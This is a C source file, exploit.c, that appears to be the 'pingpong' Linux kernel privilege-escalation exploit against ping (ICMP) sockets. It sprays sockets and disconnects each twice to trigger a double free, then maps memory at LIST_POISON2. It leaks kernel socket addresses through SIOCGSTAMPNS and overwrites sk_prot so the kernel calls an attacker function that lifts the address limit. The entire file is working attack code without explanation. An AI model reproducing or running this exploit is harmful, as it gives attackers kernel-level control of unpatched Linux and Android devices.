exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>

#include "exploit_utils.h"

#define MAX_CHILDREN_PROCESS    1024
#define MAX_CHILDREN_SOCKETS    65000
#define MAX_MMAPS               1024

#define MAX_TRY_CONTORL_SK      4

#define MMAP_BASE(x)		(((unsigned)(x)) & ~(MMAP_SIZE - 1))
#define MMAP_SIZE               (2 * 1024 * 1024)

#define DEFAULT_RESERVE_SIZE    (64 * 1024 * 1024)

#define TIMESTAMP_MAGIC         0x0db4da5f

#define ADDR_ADD(p,n)           ((void *)((char *)(p) + (n)))

#define OFFSET_SK_PROT          0x24
#define OFFSET_SK_STAMP         0x148
#define OFFSET_MC_LIST          0x1c4

#define VUL_SOCK_END            -1
#define VUL_SOCK_CLOSED         -2

#ifndef SIOCGSTAMPNS
#define SIOCGSTAMPNS            0x8907
#endif /* SIOCGSTAMPNS */

#define OOM_DISABLE             (-17)

#define NSEC_PER_SEC            1000000000

#define LIST_POISON2            0x00200200

#define ARRAY_SIZE(x)           (sizeof (x) / sizeof (*(x)))


extern void pingpong_process_kernel_memory_requests(void);

struct child_status_t {
  int num_sockets;
  int result;
};

static size_t
get_page_size(void)
{
  static size_t pagesize;

  if (pagesize == 0) {
    pagesize = sysconf(_SC_PAGESIZE);
  }

  return pagesize;
}

static int
maximize_fd_limit(void)
{
  struct rlimit rlim;
  int ret;

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  rlim.rlim_cur = rlim.rlim_max;
  setrlimit(RLIMIT_NOFILE, &rlim);

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  return rlim.rlim_cur;
}

static int
wait_for_sockets_created(int pipe_read, int *num_socks_created)
{
  struct child_status_t status;
  int i;
  int ret;

  *num_socks_created = 0;

  ret = fcntl(pipe_read, F_SETFL, O_NONBLOCK);
  if (ret == -1) {
    perror("fcntl()");
    return -1;
  }

  for (i = 0; i < 50; i++) {
    ret = read(pipe_read, &status, sizeof status);
    if (ret == -1 && errno == EAGAIN) {
      usleep(100000);
      continue;
    }

    break;
  }

  if (ret == -1 && errno == EAGAIN) {
    printf("read(): Timeout\n");
    return -1;
  }

  if (ret == -1) {
    perror("read()");
    return -1;
  }

  if (ret != sizeof (status)) {
    printf("read(): Unexpected EOF\n");
    return -1;
  }

  *num_socks_created = status.num_sockets;

  return status.result;
}

static int
send_status_to_parent(int pipe_write, int num_sockets, int result)
{
  struct child_status_t status;

  memset(&status, 0, sizeof status);

  status.num_sockets = num_sockets;
  status.result = result;

  write(pipe_write, &status, sizeof status);

  return 0;
}

static int
wait_to_close(int pipe_write)
{
  close(pipe_write);

  while (1) {
    sleep(60);
  }
}

static int
close_all_fds_except_pipe(int pipe_write, int num_fds)
{
  int i;
  int result;

  result = 0;

  for (i = 0; i < num_fds; i++) {
    int ret;

    if (i == pipe_write) {
      continue;
    }

    ret = close(i);
    if (ret != 0) {
      result = -1;
    }
  }

  return result;
}

static int
setup_vul_socket(int sock)
{
  struct sockaddr_in sa;
  int ret;

  memset(&sa, 0, sizeof sa);
  sa.sin_family = AF_UNSPEC;

  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    printf("connect(%d) #1: ret = %d\n", sock, ret);
    return -1;
  }

  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    printf("connect%d() #2: ret = %d\n", sock, ret);
    return -1;
  }

  return 0;
}

static int
create_icmp_socket(void)
{
  struct sockaddr_in sa;
  int sock;
  int ret;

  memset(&sa, 0, sizeof sa);
  sa.sin_family = AF_INET;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  if (sock == -1) {
    return -1;
  }

  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    int result;

    result = errno;
    close(sock);
    errno = result;

    return -1;
  }

  return sock;
}

static int
close_icmp_socket(int sock)
{
  return close(sock);
}

static int
do_child_task(int pipe_write, int num_fds)
{
  int socks[num_fds];
  int result;
  int ret;
  int i;

  result = 0;

  close_all_fds_except_pipe(pipe_write, num_fds);

  for (i = 0; i < num_fds; i++) {
    socks[i] = create_icmp_socket();
    if (socks[i] == -1) {
      result = errno;
      break;
    }
  }

  num_fds = i;

  send_status_to_parent(pipe_write, num_fds, result);
  wait_to_close(pipe_write);

  for (i = 0; i < num_fds; i++) {
    ret = close_icmp_socket(socks[i]);
  }

  if (ret == -1) {
    return -1;
  }

  return 0;
}

static int
create_child(int *pipe_read, int num_fds, pid_t *pid, int *num_socks_created)
{
  int pipe_fds[2];
  int ret;

  *pid = -1;
  *num_socks_created = 0;

  ret = pipe(pipe_fds);
  if (ret != 0) {
    perror("pipe()");
    return -1;
  }

  *pid = fork();
  if (*pid == -1) {
    perror("fork()");
    return -1;
  }

  if (*pid == 0) {
    close(pipe_fds[0]);

    do_child_task(pipe_fds[1], num_fds);
    exit(0);
  }

  close(pipe_fds[1]);
  *pipe_read = pipe_fds[0];

  ret = wait_for_sockets_created(*pipe_read, num_socks_created);
  if (ret == EMFILE) {
    ret = 0;
  }

  if (ret != 0) {
    kill(*pid,  SIGKILL);
  }

  return ret;
}

static int
close_child_sockets(int pipe_read, pid_t pid)
{
  int timeout;
  int status;
  int success;
  int ret;

  success = 0;

  close(pipe_read);
  kill(pid,  SIGTERM);

  for (timeout = 50; timeout > 0; timeout--) {
    ret = waitpid(pid, &status, WNOHANG);
    if (ret != 0) {
      break;
    }

    if (WIFEXITED(status)) {
      success = 1;
      break;
    }

    usleep(100000);
  }

  kill(pid,  SIGKILL);

  ret = waitpid(pid, &status, 0);
  if (ret != 0) {
    return -1;
  }

  if (WIFEXITED(status)) {
    success = 1;
  }

  if (success) {
    return 0;
  }

  return -1;
}

int *
create_vul_sockets(void)
{
  static pid_t pids[MAX_CHILDREN_PROCESS];
  static int pipe_reads[MAX_CHILDREN_PROCESS];
  int max_fds;
  int *socks;
  int num_socks;
  int num_children_process;
  int num_children_socks;
  int ret;
  int i;

  max_fds = maximize_fd_limit();

  socks = malloc((max_fds + 1) * sizeof (*socks));
  if (!socks) {
    printf("\nNo memory\n");
    return NULL;
  }

  num_children_process = 0;
  num_socks = 0;
  num_children_socks = 0;
  ret = 0;

  for (i = 0; i < MAX_CHILDREN_PROCESS; i++) {
    struct sysinfo info;
    int max_children_socks;
    int num_socks_created;

    ret = sysinfo(&info);
    if (ret == 0) {
      if (info.freeram < DEFAULT_RESERVE_SIZE) {
        if (info.totalram > 1024 * 1024 * 1024) {
          break;
        }

        if (info.freeram < info.totalram / 32) {
          break;
        }
      }
    }

    max_children_socks = max_fds;
    if (max_children_socks + num_children_socks > MAX_CHILDREN_SOCKETS) {
      max_children_socks = MAX_CHILDREN_SOCKETS - num_children_socks;
      if (max_children_socks < 1) {
        break;
      }
    }

    ret = create_child(&pipe_reads[i], max_children_socks, &pids[i], &num_socks_created);
    if (pids[i] == -1) {
      break;
    }

    num_children_process++;
    num_children_socks += num_socks_created;

    if (num_socks < max_fds) {
      socks[num_socks] = create_icmp_socket();
      if (socks[num_socks] == -1) {
        break;
      }

      num_socks++;
    }

    if (ret != 0) {
      break;
    }
  }

  for (i = 0; i < num_children_process; i++) {
    close_child_sockets(pipe_reads[i], pids[i]);
  }

  if (num_socks < 1) {
    printf("No icmp socket available\n");
    free(socks);
    return NULL;
  }

  socks[num_socks] = VUL_SOCK_END;

  for (i = 0; i < num_socks; i++) {
    ret = setup_vul_socket(socks[i]);
  }

  return socks;
}

static int
lock_page_in_memory(void *address, size_t size)
{
  int ret;

  ret = mlock(address, size);
  if (ret != 0) {
    return -1;
  }

  return 0;
}

static void
populate_pagetable_for_address(void *address)
{
  *(void **)address = NULL;
}

static void *
protect_crash_when_double_free(void)
{
  void *address;
  size_t pagesize;

  pagesize = get_page_size();

  address = (void *)((LIST_POISON2 / pagesize) * pagesize);

  address =  mmap(address, pagesize,
                 PROT_READ | PROT_WRITE,
                 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS,
                 -1, 0);

  if (address == MAP_FAILED) {
    return NULL;
  }

  populate_pagetable_for_address(address);
  lock_page_in_memory(address, pagesize);

  return address;
}

static int
free_protect(void *protect)
{
  size_t pagesize;

  pagesize = get_page_size();
  return munmap(protect, pagesize);
}

static void
fill_with_payload(void *address, size_t size)
{
  unsigned *p = address;
  int i;

  for (i = 0; i < size; i += sizeof (*p) * 2) {
    *p++ = (unsigned)p;
    *p++ = TIMESTAMP_MAGIC;
  }
}

static int
get_sk_from_timestamp(int sock, unsigned long *paddr)
{
  struct timespec tv;
  uint64_t value;
  uint32_t high, low;
  int ret;

  ret = ioctl(sock, SIOCGSTAMPNS, &tv);
  if (ret != 0) {
    return -1;
  }

  value = ((uint64_t)tv.tv_sec * NSEC_PER_SEC) + tv.tv_nsec;
  high = (unsigned)(value >> 32);
  low = (unsigned)value;

  if (high == TIMESTAMP_MAGIC) {
    if (paddr)
      *paddr = low - OFFSET_SK_STAMP;
    return 1;
  }

  return 0;
}

static int
try_control_sk(int *socks)
{
  static int reserve_size = DEFAULT_RESERVE_SIZE;
  static int loop_count = 0;
  static void *address[MAX_MMAPS];
  struct sysinfo info;
  int success;
  int count;
  int i;
  int ret;

  success = 0;

  loop_count++;

  for (i = 0; i < MAX_MMAPS; i++) {
    int j;

    ret = sysinfo(&info);
    if (ret == 0) {
      if (info.freeram < reserve_size) {
        if (loop_count < 4) {
          reserve_size = info.freeram;
        }

        break;
      }
    }

    address[i] =  mmap(NULL, MMAP_SIZE,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_SHARED | MAP_ANONYMOUS, -1, 0);

    if (address[i] == MAP_FAILED) {
      printf("mmap(): failed: %s (%d)\n", strerror(errno), errno);
      break;
    }

    lock_page_in_memory(address[i], MMAP_SIZE);
    fill_with_payload(address[i], MMAP_SIZE);

    for (j = 0; socks[j] != VUL_SOCK_END; j++) {
      ret = get_sk_from_timestamp(socks[j], NULL);
      if (ret > 0) {
        success = 1;
        address[i] = 0;
      }
    }

    if (success) {
      break;
    }
  }

  count = i;

  for (i = 0; i < count; i++) {
    if (address[i]) {
      munmap(address[i], MMAP_SIZE);
    }
  }

  if (success) {
    return 0;
  }

  return -1;
}

static int is_kernel_task_executed = 0;

static void
kernel_task(void)
{
  is_kernel_task_executed++;
  hack_addr_limit();
}

static int
setup_kernel_task(void *sk)
{
  static unsigned prot[256];
  unsigned *mmap_end_address;
  unsigned *p;
  int i;

  for (i = 0; i < ARRAY_SIZE(prot); i++) {
    prot[i] = (unsigned)kernel_task;
  }

  mmap_end_address = (void *)MMAP_BASE(sk) + MMAP_SIZE - 1;

  for (i = OFFSET_MC_LIST - 32; i < OFFSET_MC_LIST + 32; i+= 4) {
    p = ADDR_ADD(sk, i);
    if (p > mmap_end_address) {
      break;
    }

    *p = 0;
  }

  for (i = OFFSET_SK_PROT - 32; i < OFFSET_SK_PROT + 32; i+= 4) {
    p = ADDR_ADD(sk, i);
    if (p > mmap_end_address) {
      break;
    }

    *p = (unsigned)prot;
  }
}

static void
keep_invalid_sk(int *socks)
{
  pid_t pid;
  int max_fd;
  int found;
  int i;
  int j;

  found = 0;

  for (i = 0; socks[i] != VUL_SOCK_END; i++) {
    if (socks[i] != VUL_SOCK_CLOSED) {
      found = 1;
    }
  }

  if (!found) {
    return;
  }

  pid = fork();
  if (pid != 0) {
    return;
  }

  max_fd = maximize_fd_limit();

  found = 0;

  for (i = 0; i < max_fd; i++) {
    for (j = 0; socks[j] != VUL_SOCK_END; j++) {
      if (socks[j] == i) {
        found = 1;
        break;
      }
    }

    if (!found) {
      close(i);
    }
  }

  while (1) {
    protect_from_oom_killer();
    sleep(60);
  }
}

static void
do_kernel_task(int *socks)
{
  int ret;
  int i;

  for (i = 0; socks[i] != VUL_SOCK_END; i++) {
    void *sk;

    ret = get_sk_from_timestamp(socks[i], (unsigned long *)&sk);
    if (ret <= 0) {
      continue;
    }

    setup_kernel_task(sk);

    close_icmp_socket(socks[i]);

    socks[i] = VUL_SOCK_CLOSED;
  }
}

int
pingpong_exploit_main(void)
{
  void *protect = NULL;
  int *socks;
  int i;
  pid_t pid;
  int ret;

  protect = protect_crash_when_double_free();
  if (!protect) {
    printf("Error in protect_crash_when_double_free()\n");
    return 1;
  }

  socks = create_vul_sockets();
  if (socks == NULL) {
    return 1;
  }

  for (i = 0; i < MAX_TRY_CONTORL_SK; i++) {
    ret = try_control_sk(socks);
    if (ret == 0) {
      break;
    }
  }

  do_kernel_task(socks);

  keep_invalid_sk(socks);

  if (protect) {
    ret = free_protect(protect);
    if (ret != 0) {
      printf("Error in free_protect()\n");
    }
  }

  if (is_kernel_task_executed) {
    return 0;
  }

  return 1;
}